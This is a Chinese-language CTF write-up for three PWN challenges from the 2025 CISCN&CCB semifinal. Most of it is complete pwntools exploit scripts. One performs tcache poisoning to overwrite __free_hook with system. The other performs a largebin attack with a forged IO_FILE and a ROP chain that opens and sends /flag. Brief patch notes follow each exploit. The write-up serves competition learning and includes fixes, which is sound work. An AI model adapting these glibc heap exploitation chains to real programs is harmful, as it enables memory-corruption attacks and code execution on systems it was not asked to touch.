CISCN&CCB半决赛_2025_PWN_WP
CISCN&CCB半决赛_2025_PWN_WP
前言:
记录一下第一次打半决赛国赛,总结来说还是自己太菜了,还有check脚本是真的很shi,正规军白给了。。。
break
edit
函数内部,使用了snprintf
来实现,漏洞是因为,size参数和格式化的参数顺序反过来了。导致了堆溢出以及格式化字符串漏洞
后来在栈上发现没有合适的链子使用,但是可以直接通过堆溢出漏洞来进行实现teache bin attack
没有show
函数来进行泄露地址,但是可以通过teache bin attack
来打IO
泄露地址,之后拿到地址之后就可以继续teache bin attack
来打__free_hook
.
EXP:
from gt import *
con("amd64")
io = process("./pwn")
libc = ELF("./libc-2.31.so")
def add(index,size):
io.sendlineafter(">> ","1")
io.sendlineafter("Index: ",str(index))
io.sendlineafter("Size: ",str(size))
def free(index):
io.sendlineafter(">> ","2")
io.sendlineafter("Index: ",str(index))
def edit(index,size,msg):
io.sendlineafter(">> ","3")
io.sendlineafter("Index: ",str(index))
io.sendafter("content: ",size)
io.sendafter("want to say: ",msg)
# add(0,0x20)
# add(1,0x28)
# add(2,0x28)
# add(3,0x28)
# add(4,0xf8)
# free(1)
for i in range(0x6):
add(i,0x78)
add(7,0x20)
add(8,0x78)
add(9,0x30)
add(10,0x78)
add(11,0x10)
add(12,0x78)
add(13,0x28)
add(14,0x28)
add(15,0x28)
add(16,0x28)
add(17,0x28)
# gdb.attach(io)
payload = b'd'*0x40 + b"/bin/sh\x00"
edit(16,payload,'a')
payload = b'd'*0x38 + p64(0x41)
edit(16,payload,'a')
# add(11,0x78)
payload = b'a'*0x88 + p64(0xd1)
edit(8,payload,'a')
free(9)
add(9,0xc0)
for i in range(0,5):
free(i)
free(12)
free(8)
free(10)
payload = b'a'*0x30
edit(7,payload,'a')
payload = b'a'*0x28 + p64(0x91)
edit(7,payload,'a')
payload = b'a'*0x30 + p64(0x91) + b'\x90\x76'
# gdb.attach(io)
edit(9,'\xc0',payload)
add(0,0x78)
# gdb.attach(io)
add(1,0x78)
add(2,0x78)
payload =b'\x00'*0x8+ p64(0xfbad1887) + p64(0) * 3 + b'\x00'
edit(2,b'\x78',payload)
io.recv(8)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1ec980
suc("libc_base",libc_base)
system = libc_base + libc.sym["system"]
free(15)
free(14)
# gdb.attach(io)
payload = b'a'*0x40+p64(libc_base+libc.sym["__free_hook"]-0x10)
edit(13,payload,'aa')
payload = b'a'*0x38 + b'\x41'
edit(13,payload,'aa')
add(14,0x28)
add(15,0x28)
edit(15,'\x28',b'\x00'*8+p64(system))
free(17)
# add(0,0x78)
# gdb.attach(io)
io.interactive()
fix
将snprintf
换成printf
或者直接nop
掉这个函数
prompt
break
开启了沙箱并且加了一层protobuf
的壳
漏洞存在于edit
函数
这里对size
没有做大小检查,导致堆溢出,可以通过这一点来泄露地址,然后通过largebin attack
来打io
EXP:
from gt import *
import ctf_pb2
con("amd64")
io = process("./pwn")
libc = ELF("./libc.so.6")
def add(index,size,msg):
proto = ctf_pb2.HeapPayload()
proto.option = 1
proto.chunk_sizes.append(size)
proto.heap_chunks_id.append(index)
proto.heap_content = msg
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)
def free(index):
proto = ctf_pb2.HeapPayload()
proto.option = 2
proto.chunk_sizes.append(0)
proto.heap_chunks_id.append(index)
proto.heap_content = b'BabyShark'
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)
def edit(index,size,msg):
proto = ctf_pb2.HeapPayload()
proto.option = 3
proto.chunk_sizes.append(size)
proto.heap_chunks_id.append(index)
proto.heap_content = msg
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)
def show(index):
proto = ctf_pb2.HeapPayload()
proto.option = 4
proto.chunk_sizes.append(0)
proto.heap_chunks_id.append(index)
proto.heap_content = b'BabyShark'
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)
def exit():
proto = ctf_pb2.HeapPayload()
proto.option = 5
proto.chunk_sizes.append(0)
proto.heap_chunks_id.append(1)
proto.heap_content = b'BabyShark'
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)
add(0,0x100,b'a'*0x10)
add(1,0x100,b'b'*0x10)
add(2,0x100,b'c'*0x10)
free(1)
payload = b'd'*0x100 + b'e'*0x10
edit(0,len(payload),payload)
show(0)
io.recvuntil("e"*0x10)
heap_base = u64(io.recv(5).ljust(8,b'\x00'))
heap_base = (heap_base << 12) - 0x7000
suc("heap_base",heap_base)
# gdb.attach(io)
payload = b'd'*0x100 + p64(0) + p64(0x111)
edit(0,len(payload),payload)
add(1,0x100,b'b'*0x10)
for i in range(7):
add(i+3,0x210,b'a')
add(10,0x210,b'2'*8)
add(11,0x210,b'b')
add(12,0x210,b'b')
for i in range(7):
free(i+3)
free(11)
payload = b'2'*0x210 + b'3' * 0x10
edit(10,len(payload),payload)
show(10)
io.recvuntil("3"*0x10)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x203d30
suc("libc_base",libc_base)
payload = b'2'*0x210 + p64(0) + p64(0x221)
edit(10,len(payload),payload)
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
setcontext = libc_base + libc.sym["setcontext"]
_IO_2_1_stderr_ = libc_base + libc.sym["_IO_2_1_stderr_"]
for i in range(3):
free(i)
add(0,0x440,b'a')
add(1,0x430,b'a')
add(2,0x430,b'a')
add(3,0x340,b'a')
add(4,0x440,b'a')
add(5,0x440,b'a')
add(6,0x450,b'a')
add(7,0x440,b'a')
add(8,0x1f0,b'a')
free(5)
add(5,0x500,b'a')
payload = b'a'*0x440 + p64(0x8a0) + p64(0x451) + p64(libc_base + 0x203f20)*2 + p64(_IO_list_all-0x20)*2
fake_io_addr = heap_base + 0x5d90
gdb.attach(io)
edit(4,len(payload),payload)
free(1)
add(1,0x500,b'a')
add(9,0x430,b'a')
payload = b'a'*0x440 + p64(0) + p64(0x451) + p64(libc_base + 0x203f20)*2 + p64(fake_io_addr)*2
edit(4,len(payload),payload)
add(11,0x430,b'a')
# add(3,0x10,b'\x00')
# gdb.attach(io)
# add(1,0x310,p64(fake_io_addr))
pop_rdi = libc_base + 0x000000000010f75b#: pop rdi; ret;
pop_rsi = libc_base + 0x0000000000110a4d#: pop rsi; ret;
pop_rax = libc_base + 0x00000000000dd237#: pop rax; ret;
syscall = libc_base + 0x0000000000098fb6#: syscall; ret;
sendfile = libc_base + libc.sym["sendfile"]
pop_rcx = libc_base + 0x00000000000a877e#: pop rcx; ret;
orw_addr = fake_io_addr + 0x150
fake_IO_FILE=p64(0)*3 #_flags=rdi
fake_IO_FILE+=p64(_IO_list_all) + p64(0)*2
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system) mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20];
fake_IO_FILE +=p64(0) + p64(1) + p64(0) + p64(orw_addr-0x20) # rdx
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x2000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)
fake_IO_FILE += p64(0)*7 + p64(orw_addr+8) + p64(pop_rdi+1)
flag_addr = orw_addr + 0x80
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(3) + p64(pop_rcx)+ p64(0x40)+p64(sendfile) + b"/flag\x00"
fake_IO_FILE += orw
edit(11,len(fake_IO_FILE),fake_IO_FILE)
'''
pop_rdi = libc_base + 0x000000000010f75b#: pop rdi; ret;
pop_rsi = libc_base + 0x0000000000110a4d#: pop rsi; ret;
pop_rax = libc_base + 0x00000000000dd237#: pop rax; ret;
syscall = libc_base + 0x0000000000098fa6#: syscall; ret;
sendfile = libc_base + libc.sym["sendfile"]
pop_rcx = libc_base + 0x00000000000a876e#: pop rcx; ret;
'''
# gdb.attach(io)
exit()
io.interactive()
fix
将n该小即可防止溢出
post_quantum
fix
这个我看网上修的方法有很多,这里是把解密函数的两个free
给ban
了